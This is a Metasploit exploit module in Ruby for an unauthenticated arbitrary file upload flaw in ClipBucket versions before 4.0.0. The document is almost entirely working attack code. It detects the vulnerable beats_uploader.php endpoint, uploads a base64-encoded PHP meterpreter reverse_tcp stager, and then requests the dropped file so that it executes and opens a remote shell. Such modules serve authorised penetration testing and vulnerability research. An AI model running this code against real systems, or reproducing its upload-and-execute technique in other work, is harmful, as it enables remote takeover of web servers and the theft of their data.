ClipBucket beats_uploader Unauthenticated Arbitrary File Upload

`##  
# This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload",  
'Description' => %q{  
This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902).  
A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability.  
It is possible for an attacker to upload a malicious script to issue operating system commands.  
This issue is caused by improper session handling in /action/beats_uploader.php file.  
This module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'www.sec-consult.com', # Vulnerability Discovery, PoC  
'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit module  
],  
'References' =>  
[  
[ 'EDB', '44250' ]  
],  
'DefaultOptions' =>  
{  
'SSL' => false,  
'PAYLOAD' => 'php/meterpreter/reverse_tcp',  
'Encoder' => 'php/base64'  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['Clipbucket < 4.0.0 - Release 4902', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Mar 03 2018",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])  
])  
end  
  
def uri  
return target_uri.path  
end  
  
def check  
vprint_status('Trying to detect ClipBucket on target.')  
  
# check for readme file  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'readme')  
})  
  
unless res  
vprint_error('Connection failed')  
return CheckCode::Unknown  
end  
  
unless res.code == 200 && res.body.include?('ClipBucket')  
vprint_error('Could not find readme')  
return CheckCode::Safe  
end  
  
# check for beats_uploader.php file  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php')  
})  
  
unless res  
vprint_error('Connection failed')  
return CheckCode::Unknown  
end  
  
unless res.code == 200  
vprint_error('Could not find beats_uploader.php')  
return CheckCode::Safe  
end  
  
Exploit::CheckCode::Appears  
end  
  
def exploit  
  
# generate the PHP meterpreter payload  
stager = '<?php '  
stager << payload.encode  
stager << '?>'  
  
# Setting POST data  
post_data = Rex::MIME::Message.new  
post_data.add_part(stager, content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = 'form-data; name="file"; filename="pfile.php"') # payload  
post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="plupload"') # require for uploading  
post_data.add_part('agent22.php', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="name"')  
data = post_data.to_s  
  
  
print_status('Uploading payload..')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php'),  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
})  
  
jsonres = res.get_json_document  
  
# If the server returns 200 and success yes, we assume we uploaded the malicious  
# file successfully  
unless res && res.code == 200 && jsonres['success'] == 'yes'  
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")  
end  
print_good('Looking For Payload..')  
pdir = jsonres['file_directory']  
file_name = jsonres['file_name']  
pext = jsonres['extension']  
print_good("found payload in /actions/#{pdir}/#{file_name}.#{pext}")  
  
# Payload name  
pname = "#{file_name}.php"  
  
# Cleanup is Good Idea .  
register_files_for_cleanup(pname)  
  
print_status("Executing Payload [ #{uri}/actions/#{pdir}/#{pname} ]" )  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'actions', pdir, pname)  
})  
  
# If we don't get a 200 when we request our malicious payload, we suspect  
# we don't have a shell, either.  
if res && res.code != 200  
print_error('Unexpected response, probably the exploit failed')  
end  
end  
end  
`